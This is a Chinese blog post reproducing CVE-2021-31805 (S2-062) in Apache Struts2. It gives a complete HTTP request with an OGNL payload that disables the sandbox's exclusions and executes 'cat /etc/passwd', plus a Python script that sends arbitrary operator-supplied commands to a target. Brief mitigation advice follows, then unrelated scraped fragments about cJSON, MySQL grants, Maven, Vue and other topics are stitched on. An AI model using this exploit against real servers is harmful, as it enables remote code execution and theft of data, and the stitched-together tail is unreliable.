本篇文章仅用于技术研究和漏洞复现,切勿从事非法渗透,造成任何影响与本作者无关,切记!
Apache 官方发布了 Apache Struts2 的风险通告,漏洞编号为 CVE-2021-31805,可能会导致远程代码执行。
此次 Apache Struts2 漏洞为 CVE-2020-17530 ( S2-061 )的修复不完整,导致输入验证不正确。
如果开发人员使用%{…} 语法进行强制 OGNL 解析,仍有一些特殊的 TAG 属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。
开发人员使用%{…} 语法进行强制 OGNL 解析,有一些特殊的TAG属性可以执行二次解析。对不受信任的用户输入使用强制 OGNL 解析可能会导致远程代码执行。
/Struts2 /s2-061
版本->Struts2:2.5.25
启动环境
docker ps
访问目标地址
漏洞EXP
POST /index.action HTTP/1.1
Host: X.X.X.X:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1096
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
执行结果
Py脚本测试
import requests
from lxml import etree
import argparse
def poc(url):
try:
headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94"
text=requests.post(url, headers=headers, data=data).text
if "id" in text:
print("发现漏洞")
page=etree.HTML(text)
data = page.xpath('//a[@id]/@id')
print(data[0])
except:
print("POC检测失败")
def EXP(url,cmd):
try:
headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"}
data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd)
text=requests.post(url, headers=headers, data=data).text
if "id" in text:
print("命令回显")
page=etree.HTML(text)
data = page.xpath('//a[@id]/@id')
print(data[0])
except:
print("EXP检测失败")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='S2-062验证')
parser.add_argument('--url', help="要验证的URL")
parser.add_argument('--cmd',help="你想执行的命令",default="")
args = parser.parse_args()
if args.cmd !="":
EXP(args.url,args.cmd)
else:
poc(args.url)
测试结果如下
缓解措施
1、这些 UIBean 元素最终对 name 属性执行第二次 OGNL 评估,因为“value”属性不存在并且它试图填充该属性。因此,通过给所有属性一个空白值 =“”,这将有助于缓解这个问题。(例如:<s:label name="%{skillName}" value="" />
2、将 org.apache.commons.collection.BeanMap
添加到 Struts2 沙箱的 excludeClasses 列表将排除直接使用它。
厂商已发布新版本,请及时更新Struts至2.5.30或更高版本!
目录1.cJSON库下载链接2.安装1.cJSON库下载链接https://github.com/DaveGamble/cJSON2.Linux 安装切换到下载的目录,输入# mkdir build# cd build# cmake ..# make3.cJSON数据结构和接口介绍数据结构typedef struct cJSON { struct cJSON *next,*prev; // 数组 对象数据中用到 struct c_cjson_addobjecttoobject
文章目录Python - 读取浏览器的历史记录文件并写到 csv 文件1、先装个依赖 sqlite32、编写代码3、浏览器的历史记录文件放在那里Python - 读取浏览器的历史记录文件并写到 csv 文件1、先装个依赖 sqlite32、编写代码import sqlite3 as db# 从SQLite文件中读取数据def select(db_file, cmd): # 该 API 打开一个到 SQLite 数据库文件 database 的链接,如果数据库成功打开,则返回一个连接_python获取360浏览器历史记录
什么是全文检索数据分类生活中的数据总体分为两种:结构化数据和非结构化数据。结构化数据 - 行数据,可以用二维表结构来逻辑表达实现的数据;指具有固定格式或有限长度的数据,如数据库,元数据等。非结构化数据 - 指不定长或无固定格式的数据,如邮件,word 文档等磁盘上的文件。结构化数据搜索常见的结构化数据也就是数据库中的数据。在数据库中搜索很容易实现,通常都是使用 SQL 语句进行查询,而且能很快的得到查询结果。客户端请求 ----> 连接器连接器 ----> 缓存区连接器 -_lucence kibana
在mysql命令行中执行SET PASSWORD FOR 'root'@'localhost' = PASSWORD('123456XXX');GRANTALLPRIVILEGESON*.*TO'root'@'%'IDENTIFIEDBY'123456XXX'WITHGRANTOPTION;flushprivileges;若以上方法..._navicat 如何解决access denied for user 'root'@'localhost' (using password: y
当我们通过IP和端口连接设备时,有时候为了用户展示设备是否在线,就需要一些方法来判断: 1. ping IP ,能ping同说明设备在线 2. 通过检测设备的ip和端口是否可以链接, 来判断设备是否在工作状态Util代码:import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.net.*;import java.util.r..._java实现指定ip和端口在线和离线检测
一、maven依赖原则1、依赖路径最短优先原则一个项目Demo依赖了两个jar包,其中A-B-C-X(1.0) , A-D-X(2.0)。由于X(2.0)路径最短,所以项目使用的是X(2.0)。2、pom文件中申明顺序优先如果A-B-X(1.0) ,A-C-X(2.0) 这样的路径长度一样怎么办呢?这样的情况下,maven会根据pom文件声明的顺序加载,如果先声明了B,后声...
springboot基于SSM框架的项目实训管理系统设计与实现。JSP基于JAVA的邮件过滤系统的设计与实现sqlserver。springboot基于B_S架构的视频监控系统的设计与实现。springboot基于web的数码产品应用平台设计与实现。JSP网上商城与拍卖系统的设计与实现sqlserver。ssm基于Java的废品回收管理系统的设计与实现。jsp龙山社区居民信息管理系统jhne程序开题。JSP视频网站的设计与实现sqlserver。ssm基于web高校车辆调度系统的设计与实现。_java课程设计高等院校课程大纲管理系统
一、当定位的元素在页面的较底部时,直接打开无法定位,我们需要先滑动页面,可以看见元素步骤:1、先定位这个元素的位置2、调用滑动到元素可见属性,会返回元素的坐标位置二、窗口操作1、滑动窗口2、打开新窗口,并进行切换..._selenium滑动到元素出现
上篇文章提到一套完整的SNMP系统主要包括管理信息库(MIB)、管理信息结构(SMI)及SNMP报文协议。 本篇我们来学习管理信息库(MIB)一、管理信息库MIB 任何一个被管理的资源都表示成一个对象,称为被管理的对象。MIB是被管理对象的集合。它定义了被管理对象的一系列属性:对象的名称、对象的访问权限和对象的数据类型等。每个SNMP设备(Agent)都_mib oid
哈夫曼树最近学习了数据结构中哈夫曼树的知识。先来看哈夫曼树的定义:给定n个权值作为叶子节点,构造一棵二叉树,如果该树的带权路径长度(WPL)达到最小,则称这样的二叉树为最优二叉树,也称为哈夫曼树。得明确几个重要的概念:路径和路径长度:在一棵树中,从一个节点往下可以达到的孩子或孙子节点之间的通路,称为路径。通路中分支的数目称为路径长度。若规定根节点的层数为1,则从根节点到第L层节点的路径长...
1.父组件<!--顶部--><topHead :parent="testdata" v-if="testdata.length>0"></topHead>data() { return { testdata:[],}}methods: { //获取信息 getBannerList(){ getHone().then(response => { this.testda_vue父子组件传值有时候成功有时候失败
一、打开原始的landsat 8影像使用ENVI软件打开.mtl文件图像,如图所示可以看到图像有黑色的边框。二、编辑头文件去除黑边使用工具:Edit ENVI Header可以在Toolbox中直接找到该工具,可以以直接搜索该工具。双击打开工具,选择需要编辑的影像,然后进行忽略值设置,即将Data Ignore Value值设为1,如果找不到Data Ignore Value需要手动..._envi栅格数据黑边